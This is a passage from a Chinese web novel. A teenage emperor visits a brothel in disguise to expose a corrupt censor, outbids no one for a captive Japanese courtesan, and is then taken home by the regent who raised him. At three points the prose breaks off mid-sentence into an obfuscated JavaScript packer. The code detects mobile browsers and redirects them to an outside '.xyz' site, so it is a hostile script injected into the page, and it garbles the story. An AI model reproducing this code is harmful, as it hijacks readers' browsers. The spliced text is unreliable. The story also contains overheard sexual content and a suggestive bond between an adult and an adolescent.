面对眼前这张软玉般精致的脸庞,沈衡似乎没有被软化一丝。仍然端坐案几前,袖口平整衣摆不乱,垂眼看人时没有被宋南卿那双盈盈的眼睛迷惑,还有空趁着间隙在下张奏折空白处写下朱批。 宋南卿抿嘴,一边暗骂他不按话本上教的对话来,一边用手指绕着沈衡的指根画圈,哼哼唧唧企图耍赖。温热的大手有很强的包裹感,沈衡一手拿毛笔在折子上写字,另一只手笼罩住作乱的手指。 小皇帝坐在软垫前,勾着摄政王的手指在心里跟自己较劲。 不是说这招式是绝杀吗?不是说配上貌美的脸杀伤力翻倍吗?哪里出了问题。 沈衡写完最后一个字,分了些眼神望向宋南卿道:“回答呢?” 侧边的屏风上绣着零落飘起的梅花花瓣,墨梅枝干曲折,枝头的梅花露出小小的尖,含苞待放。 不说话在沈衡这里绝对不是解决问题的方法。 宋南卿往人脸上瞟了一眼,张开手臂抱住眼前人的脖子,把自己埋在男人肩膀上软着声音说:“我还小呢,哪里懂什么喜欢不喜欢的,卿卿最喜欢先生了。” “哎呀批了好些折子,朕乏了要午睡了。”他抱住人往后摇晃。 沈衡轻轻摇头,一手搂住他的腰把人抱起。小时候这样抱没什么不妥只是亲昵,只是少年身量已高,再这样挂在人身上多了几分轻佻暧昧之感,只是二人都不在意,在旁伺候的下人就更无法对这个王朝最尊贵的两个人提醒什么了。 床头的鎏金花瓶透过床幔看,影影绰绰。隔着一层纱,沈衡站在床边静静看着安睡的宋南卿。少年这阵子长了不少,偶尔会有生长痛,睡觉的时候不安稳,抽筋的时候需要人给他揉腿。 沈衡看了一会儿,薄纱床幔里,那张熟悉的面孔还看得出小时候的影子,甚至他的每个表情,都能在记忆里找出跟小孩时期类似的,连睡觉时嘴角闭起的弧度都没有发生变化。 宋南卿伸手抓了抓额头挠痒,细细的手腕上挂着那串稍显宽大的绿檀佛珠,贴在离脉搏最近的位置。他就那么把手腕放在脸旁边,呼吸再次趋向平稳。 沈衡移开目光,也掩盖住了眼底的万千情绪。 ———— 一阵风吹过,树梢的白玉兰绽开花瓣,还未到全盛之时,微微朝中间拢起,一朵朵翘立树梢。宋南卿提着袍子下摆快速下楼梯,身后的宫人差点没跟上,红色纱袍随着他的动作扬起,片刻就跑到了一株玉兰树下。 温暖的阳光洒在身上,身体各处洋溢着舒适,宋南卿伸手摘下了一朵玉兰,对着身后的春见随意吩咐道:“照着这花型,给朕做两个杯子来,要玉的。” 春见忙点头称是,拂尘一抬就有两个机灵的小太监捧着花去造办处了。 “春见,朕记得从倭人处收缴的东西里,有个彩色珐琅匣子,也是花朵形状的。”宋南卿抬手感受风吹过衣袖,在偌大的御花园里环顾四处风景。 春见回道:“是,那日庆功宴奴才还见了,流光溢彩的,陛下想放何处?” 宋南卿说:“还没想好,到时候和那杯子放一处吧。” “是,奴才这就去办。” “你们远远跟着朕就好,别到跟前来。”宋南卿捏着花沿草丛行走,温暖的风吹拂起他的头发,在花树下却是人比花艳,温度上来之后脸颊透着淡淡粉红。 宋南卿神情冷冷,朝荷花池里拋了颗石子。 “你,给朕把鱼食拿过来。”他随意对着跟随的仪鸾司侍卫指了一下。 高大的侍卫穿着官服,腰间的佩刀斜斜挂起,笔直跪立在了石头旁边,黑色的兽皮手套覆盖到腕骨,双手捧着鱼食递到了宋南卿稍一抬手就可碰到的位置上。 一团鱼食抛下去,几条锦鲤纷纷游过来争抢,宋南卿沿着荷花池喂了几把,站起身又走远了,銮驾停在一旁远远侯着他。 藏匿在鱼食堆里的一张小纸条被宋南卿握在手里,转身把字迹尽收眼底,随后纸条随着鱼食散入水中消失不见。 少年的睫毛轻颤,神思千回百转,佛珠在指尖晃动。 ———— 夜晚,天气微凉,穿着一身月白常服的宋南卿悄悄混出宫去,带着春见往纸条上探听来的凤栖楼走去。 仪鸾司的侍卫在别人看来是空有花架子,充当门面好看的,但这几年在宋南卿手里,已经逐渐成长为暗地里秘密窃听消息的一支队伍,京城官员的风吹草动都尽收他眼底。 凤栖楼是京城最大最奢侈的销金窟,头牌花魁初夜能竞拍出千两黄金之价。那日御史台副御史弹劾贾良之子贾士凯与人起冲突,也是在此处。小小凤栖楼引得京城官员争相往来,实在不得不看。 夜色醉人,宋南卿揣着刚从梅坡斋买来的梅子,一进门就被老鸨子殷勤围住。 “这位公子看起来面生得很,第一次来我们这儿?”年近四十的老鸨依然风韵犹存,她在这京城繁华地见识人来人往许多年,倒是很少看见像眼前这位一样那么美貌的客人,老鸨心里想:他来这儿还不一定谁嫖谁呢。望着这通身的气度和不凡姿态,女人把他头上的羊脂玉簪子和云锦衣袍尽收眼底,殷勤地给他介绍姑娘。 “二楼的包间早就准备好了,专门伺候公子这样的贵客,妾给您找几个顶尖的姑娘来,绝对把公子伺候好。” 大厅香气缭绕,粉红薄纱从二楼垂下来飘荡,玉器屏风、雕梁画栋,到处都是莺歌娇啼,穿着清凉的美人被亲密搂着调笑,脂粉香气扑面而来,宋南卿还从未见过这等场面,耳根微微发红。 春见低着头,在宋南卿耳边劝道:“陛…公子,奴才看咱还是回去吧,这等地方不是您该来的,要是被沈大人知道了……” 话头刚落被宋南卿一个眼刀瞪了回去。 沿着旋转的木梯上行,在上到二楼时,宋南卿眼尖看见对面最角落的一扇小门,飞速合上落了锁,一闪而过的跛脚人有些眼熟。 他携春见在二楼房间落座,依然可以听见丝竹管弦的靡靡之音,红木大床上铺着鲜艳锦被,两个太师椅置于桌前,半透明的屏风把床边风景遮挡,只露了一半,但仍然可以看见床头伸出来的两个铁环,上面缠绕着宽宽的丝带,直直垂在地上。 二楼的香气较一楼更甜,甜中还含着丝丝花香,仿佛空气的流动都比下面慢些、粘稠些。 宋南卿靠在椅子里歪着头看那站成一排的姑娘,往嘴里塞了颗刚买的蜜饯。 打量的眼神从头看到尾后,他摇了摇手指,一副纨绔公子作派,随手掏了一锭金子放在桌上。 明亮的眼睛直直看向老鸨:“你打量着糊弄我呢,本公子听说凤栖楼的云岫姑娘美人绝色,一首筝曲抵万金,云岫呢,不愿出来见我?” “哎呦公子是里手啊,这可是不巧了。”老鸨绽放出了一个笑容,自若道,“云岫姑娘在隔壁陪客呢,今日怕是不方便,我们这儿有不少善弹筝的姑娘……” 少年明眸皓齿,看向人时却是不怒自威,他沉着脸跋扈道:“什么客,比爷给的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949865|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银子多,还是比爷身份贵重?你知道我爹是谁么,去,我倒要看看是什么人跟小爷抢人。” 他一拍桌子,骄横霸道的姿态被他演了个十成十。 皇城根里,天子脚下,一块砖头砸下来十个人,不是皇亲国戚就是朝廷官员,自开国以来太祖就制定立法,朝廷官员不得狎妓宿娼,如被发现严厉惩处。 但这种事向来是官不究民不举,谁能作证他来青楼就是□□呢,说不定只是来听曲。自年幼的新帝登基后,狎妓这事已经成了官员们心照不宣的事了,但明面上却没人敢如此猖狂,此等做派,对方来头就不可能只是个小官员,怕是哪个侯爵王爷宠坏的小儿子。 对方赔着笑连连称是,出门左转往一扇门去了,春见被使了个眼色跟过去。 宋南卿见人都走了,皱起眉吹了吹被拍疼发红的掌心,指腹轻轻揉搓着,倒抽了一口凉气。 什么破桌子,那么硬。 他心中盘算着时间,突然听到隔壁的墙壁传来了快速的撞击声,偶尔伴随着暧昧的叫声和男人的低声狎言,女子的声音婉转动听千回百转,听起来爽快极了。 宋南卿站起身来回踱步,似是想掩盖隔壁的动静,但耳朵却是竖了起来,隔壁的撞击声越来越快,女子的低吟带上了哭声,声音越来越尖,忽而听到男人的低吼,一切回归沉寂。 少年咬了下嘴唇,这时隔壁低低的男声传入耳朵:“怎么弄的到处都是,裤子都被你喷湿了。” 宋南卿推开窗,让风吹在红热的脸颊上,外面风声卷着烟火气一起涌入耳中。 他揉了揉红热的耳根,突然听见隔壁的交谈声。 “王大人那边已经收了银子,等给我弄上个一官半职,我就给你赎身娶你,到那时我爹娘一定不好再说什么反对的话。”那个低沉的男声说道。 “真的吗?但我爹当年就是因为买官鬻爵之事,才被朝廷贬为奴籍,连我都……只能流连在这烟花之处,我不希望你为了我犯险。”女子情真意切。 男人用带着嘲讽的语气道:“你也不看看现在是什么朝代了,王大人上面可是大人物。”说到这儿他的声音放轻了一些,“如果能入那位的眼,你何愁没有做诰命夫人那一天,放心好了。” 后面女子又说了一些吹捧的话,把那男人吹的虚荣心爆发,又把自己即将搭上大人物的事好一通吹嘘。 宋南卿关上了窗子。 恰好春见在这时急匆匆回来了,掩着嘴凑到他耳边说:“陛下,奴才一路跟踪那名跛脚的随从,在那扇小门后头寻见了御史大人王潜!” 他顿了顿,接着说:“只是那间屋子里还有……还有别人,奴才不太方便听下去。” 宋南卿说:“支支吾吾做什么,你有什么不方便的。”一想到刚刚隔壁的动静,他言语一滞,继而眼睛闪过亮光问:“正在?” 春见点头答应。 宋南卿从袖子里掏出了一个哨子,对着窗外轻轻一吹,独特的鸟叫声宛如一声号召,一直在楼下等候的仪鸾司侍卫飞快跑上楼,为首的一人身穿藏蓝色制服,头戴乌纱帽,腰间别着刀。 对着角落那扇上锁的门一脚踢开。 这时凤栖楼掌柜才紧赶慢赶跑上来,只是大门一开,里面满身白花花肥肉的御史王潜已经被外人看了个彻底,他气得满脸通红,提上裤子大声呵斥:“何人敢如此放肆!” 穿着仪鸾司制服的侍卫掏出一张手牌,单手握住刀柄,对着王潜面无表情道:“接陛下命令,巡查凤栖楼。” 5. 第五章 “陛下旨意,有人弹劾官员子弟在凤栖楼大打出手,我等前来调查凤栖楼是否故意引起争端,令朝廷官员相对,包藏祸心。”仪鸾司指挥使对着已经穿戴整齐的王潜说,“另外,按太祖时法制,朝廷四品以上官员不可寻花问柳,御史大人平日表面参各位大臣平日言行有亏,背地里竟行此等之事啊。” 凤栖楼掌柜听到他那么说,连忙跪下解释:“大人,我们一向按朝廷制度经营,绝没有做任何违背制度之事,但有贵客强烈需求,小人确实得罪不起。” 王潜听她竟想把罪名全都按在自己一人头上,刚想发作就被仪鸾司侍卫捂住了嘴。 “王大人,大理寺走一趟吧,真是太不巧,陛下近日正为官员狎妓一事大发雷霆,您就撞上来了。” 指挥使魏进微一点头,看着王潜被拖下去,转过头对凤栖楼掌柜说:“今晚活动照常,是否违背,我自有定夺。” 王潜被抓事出突然,只在小范围有影响,大多数人还沉浸在花楼迷幻的氛围中。从宋南卿进来时,凤栖楼二楼就在搭花台子,今晚有那么多人到场,是因为近期在京城范围内引起轰动的美人云岫,第一次挂牌接客。 先是她的一手筝被夸成天上有地下无,后是内阁首辅贾良之子贾士凯等京城人中龙凤都为她打架,争抢不休。 世人都想见识一下这位云岫姑娘到底是多么惊为天人、一曲艳艳,这可是连公侯子侄都得排队才能见上的美人,今日竟然挂牌了。 宋南卿打开另一边花窗,正对着的就是等会儿要举行表演和拍卖的台子,他这儿算是贵客包厢,不用和大厅里的人一块儿挤。薄纱从窗子上垂下,外面看不清里面人,但往外看却很清楚,也不知这纱是怎么织成的。 红木太师椅上,宋南卿往后靠了靠,把脖子倚在后面,朝左一伸手,春见就把茶递到了手中。 他仰头喝了一口,对着跪在自己面前请安的魏进道:“事办的不错。” “为陛下分忧是奴才的本分,不敢居功。”面前人弯了弯腰,露出眉眼来正是为他递鱼食传递御史台消息的人。 “况且是陛下给了奴才为国尽忠的机会,奴才感激不尽,无以为报。”魏进语气真诚。 他的父亲曾是前朝武官,他受荫蔽进宫做亲兵侍卫,但其父在前朝斗争中被另一党倾轧陷害,最终被罢官,而弹劾他父亲的人,就是王潜。曾经的天之骄子,在侍卫队伍锻炼几年也未被提拔走,还因为父亲一事受到宫人排挤。 宋南卿第一次见到他,就是大冷天里,他衣着单薄在雪地值守,寻常侍卫保暖的外披和帽子,竟是一件没有。宋南卿披着狐毛大氅经过时,都看得到他睫毛上结成冰的雪花。 宋南卿知道宫里被人排挤的冬日有多么难熬,不管是足以让人冻死的雪花,还是人与人之间冰冷的恶意,都容易让人从里到外变成僵硬的冰块,失去求生的热气。 但皇帝亲临,他还是从魏进低垂的眼睛中看到了些跃动的神采。 他没想到,魏进会成为一把如此好用的刀。 “为国尽忠,还是替父报仇?”宋南卿吹了吹杯里的茶,表情平静问他。 魏进低头道:“是为父报仇,更是为所有正义为国的忠臣扫清障碍,将奸臣送入诏狱。” 宋南卿笑问:“何为忠臣?” “忠于陛下之人是为忠臣。将所有玩弄权柄企图动摇陛下江山之人绳之以法,是奴才一生追求的信仰,也是为慰藉父亲在天之灵。”魏进眼神清正,跪的笔直,长刀刀柄指向东方。 “说的那么好听,朕可听说你用刑甚重,别王潜还什么都没吐出来,先让你弄死了。”宋南卿让他起来,把杯子往前一递,魏进顺手接住放回了桌上。 “奴才……” “好了,朕就是提醒你一句。”宋南卿转头看向下面的台子,花魁之夜已经即将拉开帷幕,他摸了摸腕间的佛珠,指腹陷进咒文纹路里,耳边传来一连串舒缓悦耳的乐曲。 粉红色轻纱从二楼垂落,一层又一层被风吹的如同波浪翻涌,金粉洒在上面波光粼粼,层层叠叠的花瓣慢慢洒下,深浅不一,随着一道筝声响起,圆形舞台四方的粉纱如同水波抽离,屏风朝两侧打开,后侧坐在筝前的美人缓慢抬腕,一首如高山流水的曲子自然从指下倾泻而出。 在这种艳俗的场合,云岫一袭绿衣仿佛清水芙蓉,脸庞只是略施粉黛,还未抬头,就看得出姣好动人的模样,弱不禁风、楚楚动人,宛如水中绽放的睡莲,仿佛一触就碎。 她筝弹得水平极高,即使不通音律的人也能听出曲中造诣。凤栖楼其他人平日走的是热情大胆风,这么一个娇弱美人又有才情又含羞带怯,面带愁容的样子,让人忍不住去一探究竟。 一曲毕,云岫款款前行,走到舞台边上行了一个礼,围观的众人才敢大声喘气,一声高过一声的欢呼和口哨声把她包围。 这时,老鸨从侧台走上来,对周围热切的观众说:“今晚竞拍有一个特别要求,才子才能配佳人。能对的上云岫姑娘字题的人才有竞拍资格,各位才子请听好。” “上联是:烟锁池塘柳,下联需五字分别具备金木水火土各一个偏旁部首,且意境相合,方能得到云岫姑娘的竞拍资格。” 此话一出,场下一片哗然,有人出言不逊:“搞个那么难的题目出来,有本事直接比武啊,搞东搞西的又不是什么正经姑娘,还设难题,以为娶亲啊。” “你懂什么,云岫姑娘可不是一般人能得到的,你看那贾家公子还没说什么,有你说话的份儿吗?”那人使眼色,最前方坐着的,正是为了云岫前几日和人大打出手的贾士凯。身为首辅之子,这不是也得按凤栖楼规矩办事么,在这个层面上讲,首辅公子也和他们没什么不同。 越是设下重重障碍,越是吸引人更想得到。 那个出言不逊的人还想说两句厥词,就被凤栖楼的打手请了出去。能在皇城脚下这寸土寸金的地方开那么大的店,没有点背景庇佑是不可能的。 众人都在思考应答,宋南卿的包厢里也被送来了笔墨,他拿起笔略加思索,手腕一抬在纸上写下五字,一气呵成。 看着那张字被下人拿了出去,春见忍不住靠近魏进问道:“陛下真要参与那竞拍?他要是喜欢那个姑娘,何必大费周章,直接吩咐不就成了……” 魏进抱着短刀瞥他一眼,“陛下自有他的思量。” 宋南卿托着下巴看楼下华丽的场景,心想这个云岫姑娘看起来弱不禁风,筝弹得倒是十分有意思。沈衡也擅长弹筝,古今许多曲谱他手里都有,多年前筝流传至东洋,曲风演变制式也有变化,最大的不同就是弦的区别。 这首曲子的和弦是明显的东洋风,和沈衡那堆东洋曲谱相类似,而且宋南卿观察到,云岫在弹某个音的时候,手指总是不自觉伸远又收回来,是弹惯了多一根弦的筝才会有的习惯动作。这个凤栖楼,这个花魁,或许有许多不能不看的惊喜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949866|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下面台上放了一张桌子,渐渐的有人写了下联递上去,一炷香时间结束,老鸨跟云岫交谈之后上前,拿着寥寥无几的纸条,对台下人道: “本次获得竞拍资格的共有五人,上联是:烟锁池塘柳,云岫最喜欢的是二号包厢南公子所对下联。”她展开手中纸条,苍劲有力的墨字映入眼帘,简单五字对仗工整,画面仿佛跃于纸上。 只见宋南卿的下联所对是:“桃燃锦江堤。” 这个下联一出,原本对“云岫姑娘最喜欢”这个名头还有不服气的人,也都消了声。能在一炷香时间里勉强对上这联实属不易,更别提是不是符合意境了,这个下联就是不通诗书之人,也能看出与上联是多么绝配,浑然天成宛如一体。 云岫朝二号包厢的花窗看去,隐隐约约只能看见窗边一个影子。能作出这等诗句之人绝对不会是什么宵小之辈,如果今夜真的能被他拍去,也算没有过分辜负自己吧。 云岫轻轻叹气。 拍卖继续,剩下的五人都怀着势在必得的气势,刚开始就叫到了百两之数。宋南卿看了眼春见的钱袋子,手撩开帘子又往上加了一百两。 随着叫出的数额越来越大,往上加的人就变少了,只剩坐在第一排的贾士凯和他相争。 “一千两。”贾士凯声音冷冷,像是丝毫不心疼钱的样子,这让宋南卿眯了眯眼睛。 舅舅虽然做到首辅,但据他所知大盛官员的俸禄并不丰厚,供吃喝稍有盈余也就是了,怎么能随随便便拿出千两供儿子挥霍呢? “我对云岫心悦已久,光是等她挂牌就等了半月有余,希望阁下不要再与我相争。”贾士凯朗声对着楼上的二号包厢道。 宋南卿看向春见,微一挑眉。 春见苦哈哈道:“爷,出门就带了这个数,真没有了。”就这还是他机灵,随手揣了张银票出来,不然宋南卿都叫不到第二轮。 “一号,一千两。”凤栖楼报价人又重复了第二遍。 宋南卿赶在他重复第三遍前问魏进:“快点,你还有多少,下月俸禄朕给你翻倍。” 魏进在自己口袋掏了又掏,默默把几点碎银搁置在了托盘里。 “二号,一千零二两——” 宋南卿用一种哀其不幸怒其不争的眼神看着魏进,刚伸出颤抖的手指要谴责他,就听见报价又缓缓重复了一遍,贾士凯未出声。 激动人心的时刻到来,宋南卿微微愣住,心想不会因为魏进这二两,对方真的就不与他相争了吧。难道这二两就是那压死骆驼的最后一根…… “二号,一千零……” 忽然一道冷声从前排传来打断了报价:“一千五百两。” 宋南卿悬着的心终于死了,他就是把魏进卖了也变不出五百两。 云岫在下面对他的方向行了一礼。鲜花花瓣从房顶飘洒而下,在令人眩晕的起哄声里,老鸨宣布最终一号获得了这场竞拍的最终成交资格。 “咳…爷,咱走吗?”春见看宋南卿表情不好,低头轻声问。 宋南卿朝他勾勾手,在春见凑近的那一刻,对着他的额头就是一个爆栗,“真当爷来竞拍花魁来了?” 竞拍结束众人散去,宋南卿悄悄跟在贾士凯后面,对着身后的魏进和春见招手,示意他们跟上。最后三人面对眼前紧闭的一扇门面面相觑,里面是贾士凯的笑声,隐约可以听见云岫的抵抗声。 “咣当”一声,宋南卿一脚踢开了眼前这扇木门。 6. 第六章 贾士凯正为了抱得美人归而自得不已,捏着手中酒杯不顾云岫抵抗也非要让她喝下。 “放开她。”宋南卿说道。 大门突如其来的一声声响让贾士凯手中的酒都洒出来了两滴,他满脸不悦望向来人。 但在他眼神落在宋南卿脸上的时候,神色变得微妙起来。 “小美人就该好好待在家里等着别人疼,跟人学什么救风尘那一套。”贾士凯想也知道来人是谁,无非是竞拍被他抢先心里不爽。 他缓慢踱步到宋南卿面前,歪头打量着眼前这张丝毫不输千金头牌的脸,一瞬间觉得驯服这个刚刚跟他针锋相对的人似乎比拍得花魁更有意思了。 “想跟我抢人,你知道本少爷是谁吗?”贾士凯用扇子一端挑起人的下巴,语气中带着威胁和调笑。 宋南卿皮笑肉不笑看他,在那柄扇子搭上他下巴的前一刻,贾士凯就被放倒在了地上,后颈残留着被击打后的撞击伤,整个人已经被打晕了。 云岫见状睁大了眼睛,捂住嘴才没有叫出声。 “想跟我抢人,你知道本少爷是谁吗?” 宋南卿冷哼一声,对魏进招招手:“干的不错,把他拖出去,看着就倒胃口。” 为了和心心念念的美人共度良宵,贾士凯连家仆都没有留两个,所以一路把他拖出去很顺利。 房间里,云岫很快整理好仪容,对宋南卿行了一礼道谢:“多谢公子搭救。” 宋南卿看她两眼,开口便是:“你是倭人?” 云岫一愣,小心翼翼用自己国家语言问:“您、您也是?” 宋南卿即使听不懂,猜也猜得到她说了什么,“我不是,只是好奇你怎么会那么远来到大盛,还在这种地方生活,感觉不像是自愿的。” 云岫眼角微红,因着方才那对对子一事,他对眼前这位少年有着说不出的一见如故。她说:“本以为你们盛国人人光明磊落,说好了投降就能让我们好好安置,但没想到会落到如此境地。” 宋南卿眼神微动,问道:“你是前些天打仗被俘虏来的倭人?但大盛对自愿投降归顺的俘虏从来都是不落奴籍,你怎么会?” “有钱交,不落奴籍,没钱交的就把我们卖出去,公子你太天真了,俘虏不落奴籍就像我在这凤栖楼那么些天还没接过客一样,让人难以信服。”云岫把手搭在椅子上随口说道。 宋南卿只觉心中不是滋味,“你可知卖你的是谁?” 云岫道:“不知,但买我的不是凤栖楼,而是一个中年官员,我在此处只是他掩人耳目的手段,他让我陪不同的客人,借机传递信息。” “我的家人都在他手上,我没办法不从。我只知道他身边有一个腿瘸的随从,一般是他来找我。” 宋南卿盯着门上的锁眼,沉声说:“是王潜。” 云岫似是惊讶,“确实有人叫他王大人,你认识他?” “过了今晚,他就不再是什么大人了。”宋南卿道,“我可以救你出去,还有你的家人。” 云岫虽不知晓他的身份,但听他那么说,也知道宋南卿来头不小。 “只是救了我,我还有数百位同胞,不知现在在何处。” “我本有一心悦之人,在救我的路上,被拖走,不知如今是生是死。但就我现在这具身子,就算他活着,我也是妄想了。”云岫眼角滑落一滴泪,但很快被她擦去,她仰起头说,“是谁有权利处理我们的去处,皇帝吗?那他可真不是一个好皇帝。” 宋南卿一哽,睫毛颤颤,像是被戳到了心,“皇帝也是把事情给下面的人去做,并不能亲力亲为。” “但一国之君不能知人善用,让这些人通过权力敛财,伤害俘虏百姓,也是他的罪过,不是吗?” 宋南卿无话可讲,因为他没办法反驳,云岫说的是对的。 作为一个帝王,不管是在这个国家土生土长的百姓,还是投降被俘的流民,都是他的子民,子民过的不好,当然是他的罪过,不能阻止贪官污吏迫害鱼肉百姓,也是他这个皇帝当的不称职的结果。 他语气沉重,但态度坚决:“我会帮你,找出那个罪魁祸首,让他受到惩罚,不再让俘虏受到侵害。” 云岫说:“如果有用得到云岫的地方,公子尽管吩咐。这段日子在凤栖楼,我也学到了一些东西。” “看着那些男人臣服于欲望在我面前丑态百出的时候,我是会有他们也不过如此的感觉,男人都是下半身的动物,臣服于欲望时就没了脑子。” 宋南卿从刚才听了云岫的话就一直在想,他这个皇帝做的前怕狼后怕虎,只想自保不丧命,也没什么意义,像贾良王潜之流,畏惧他们正是给了他们动摇江山的可能。他既然坐在皇帝的位置上,就要为了他的社稷、他的子民做些什么。 “臣服于欲望时就没了脑子?”听到这里,宋南卿回过神,看向云岫问道,“你是怎么做到,让他们对你一见倾心的?” 为什么他按照那个什么《御男十术》上教的做了,沈衡对他还没有有求必应呢? 云岫捋了捋自己的袖子,勾起唇一笑:“对于抓住男人的心,只靠情意太慢了,他们需要更直接的欲望。保护欲、惩罚欲、控制欲、施暴欲、征服欲,都是欲望,《凤栖楼待客培训指南》,你想看吗?” 宋南卿眨眨眼,乖巧伸手做乞讨状。 ———— 过去的那半个时辰,宋南卿的三观受到了极大冲击,他踉踉跄跄走出云岫的房间,被等在外面的春见扶住了。 “陛下……还好吧?”春见看他脚步虚浮,关切地上前扶住宋南卿胳膊,魏进已经回去审王潜了。 宋南卿一边消化着那个培训指南,一边在心里想和云岫约定布局的事情,算是作为指导回报,他问了云岫那个心悦之人的具体信息,如果有机会也能帮着找找,虽然希望渺茫。 大闹了那么一通,他也有点累了。宋南卿晃着脚带春见准备出去,寻个食肆大吃一顿。 谁料想,在出门前正好和外面路过的一人对上了眼神。 是沈衡。 此时他正被老鸨拉着赔罪,说没有拍到云岫不要紧,他们这儿还有很多好姑娘任他挑选。周围的一堆漂亮姑娘软言劝他喝一杯再走。 宋南卿脸部表情僵硬,笑得比哭得还难看,只能眼看沈衡一步步朝他走来。 春见这个乌鸦嘴,怎么说什么来什么啊。 ———— 马车木轮朝前滚动着,外面的夜市繁华依旧,小贩卖东西的声音混合着行人的问答,渲染出了宫内没有的人间烟火气。 宋南卿坐在马车里偷偷抬眼看,正好和沈衡视线交汇,他立马慌乱移开目光,掀开窗布看着外面的灯火,欲盖弥彰。 车内很安静,静的连宋南卿往旁边坐时,衣料摩擦的声音都听得清,视线余光里男人抬了下手,宋南卿条件反射般往旁边瑟缩了一下。 帝师的府邸是闹中取静之地,马车驶入一条宽敞的道路,在青石板前停住。一棵高大飘扬的柳树在夜色下晃动枝叶,月上柳梢头,弯弯的柳叶影子映在门前,晕染开淡淡的墨色。 宋南卿跟在沈衡后面缓慢挪动脚步,月白色的长袍一派清新淡雅,本意是为了不显眼才选了个低调的衣服,但浅淡的颜色更衬得他皮肤白皙明亮,桃花眼潋滟动人。 他低着头,因为未知的惩罚而浑身紧绷僵硬,脚步错乱跟随着身边人的步伐,在迈过高高的木头门槛时,一个踉跄。 空气快速流动划过脸颊,失重感一瞬间袭来,宋南卿还没来得及惊慌,就感觉到一只有力温暖的手掌搂住了自己的腰身,把他整个人牢牢托住。 沈衡手臂用力把倾倒的人拉了回来,眼神落在宋南卿浓密鸦黑的睫毛上,不断颤抖的频率昭示着他的紧张。 紧紧贴在腰上的手臂像是把他禁锢在了沈衡的怀中,切肤的温度在不断升高,后腰传来奇异的酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949867|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻,时间仿佛都在拉长。 宋南卿站稳了脚跟,呼吸间闻到了不知是外面的花香还是沈衡身上的香气,他抿了抿唇低声说:“谢谢先生。” “还有呢?”沈衡对他临府不像是待贵客,连服侍的下人都被遣去大半,偌大的王府亭台水榭应有尽有,比起皇宫倒是幽静私密许多。 宋南卿微微仰头,为自己辩解道:“今日去那里,我不是为了……” 为了什么,为了宿娼?为了听曲?还是要把自己的计谋说给沈衡听。宋南卿垂下睫毛没了下文。 穿过绕满了紫藤花的一个连廊,配殿正门敞开着,对着大门的圆形餐桌上摆满了各式各样的菜肴,以鲜美多汁烤的泛油光的肉食为主。 沈衡在一侧坐下,淡淡问他:“饿了吗?” 宋南卿咽了咽口水点头,眼神从那桌子菜上移不开,但还保持着理智想为自己辩解什么。 “先用饭。”沈衡把筷子拿起来递到了他的手里。 帝师大人看起来清风明月高雅之态,但却不是那等不食人间烟火之人,府里的饭菜多为鲜香咸辣的肉食,比起宫里食不过三的规矩,在这里宋南卿能更好的大快朵颐。 “唔…这个好好吃。”宋南卿举着一根羊排吃的脸颊鼓鼓,他转动眼珠悄悄瞥向沈衡,把手里的肉递到了人嘴边。 看着他期待小心的表情,沈衡低头咬了一口,没有避讳上面或许还沾着少年的口水。 宋南卿偷偷勾起嘴角,膝盖抵着对方的腿撒娇般蹭动,卖乖娇俏的样子完全不是秦楼楚馆里那个跋扈嚣张的少年了。 一顿饭吃的宾主尽欢,宋南卿在下人的伺候下净着手,纤细的手指尖不知是不是因为热水的缘故,透着樱粉色,在棉麻的擦手巾上留下了淡淡的水渍。 端着擦手巾的小厮低垂着头,尽量保持着冷静,不直视这位客人艳若好李的脸。 摄政王大人从未有人近身,府里别说妻妾,就是连个姿色好的婢女都没有能贴身伺候的,想巴结他的人也有送貌美小男孩来的,通通都被送了出去,时间久了外面都说沈衡不好美色,六根清净是佛缘深重。 小厮进府不久,因着机灵受到了管家提拔,但从未见过摄政王与谁如此亲近,面前这位公子一看就华贵无比,站在他面前跟盛放的名贵牡丹一样,眼睛亮亮笑容明媚,但莫名就让人觉得有距离感。 不知和大人到底是什么关系,总不能是私生子吧,大人不可能有那么大的孩子啊。 “新来的?以前没见过你。”宋南卿擦完手把帕子扔了回去,觉得他紧张的样子甚是有趣,看起来并不知晓自己的身份,就起了逗弄的心思。 他倾身凑近玩笑了几句,家住何方今年几岁之类的话,然后便是问沈衡到底有没有藏起来的小美人。 小厮颤抖着声音说:“这个奴才实在是不知啊。” 宋南卿挑眉,“你就没见过他带什么人回来?” “……您是第一位。”对方唯唯诺诺应答,话倒是说得宋南卿很是舒心。 他拍了拍小厮的肩膀,在人耳边轻笑:“好好干。” 门口传来脚步声,是沈衡贴身的随侍竹心,他快步走过来,对着宋南卿恭敬行了一礼,声音平稳道:“公子,大人请您去一趟书斋。” 